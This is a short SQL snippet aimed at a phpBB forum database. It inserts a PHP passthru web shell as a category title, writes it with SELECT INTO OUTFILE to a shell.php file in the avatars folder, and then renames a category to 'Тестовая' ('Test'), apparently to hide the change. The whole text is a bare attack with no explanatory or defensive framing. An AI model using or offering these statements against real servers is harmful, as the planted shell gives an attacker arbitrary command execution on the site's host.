INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('8', '<? passthru("$cmd"); ?>', '80');
SELECT cat_title INTO OUTFILE 'z:/home/сайт/phpbb/images/avatars/shell.php' FROM phpbb_categories where cat_id=1; 
UPDATE phpbb_categories SET cat_title='Тестовая'WHERE cat_id=8;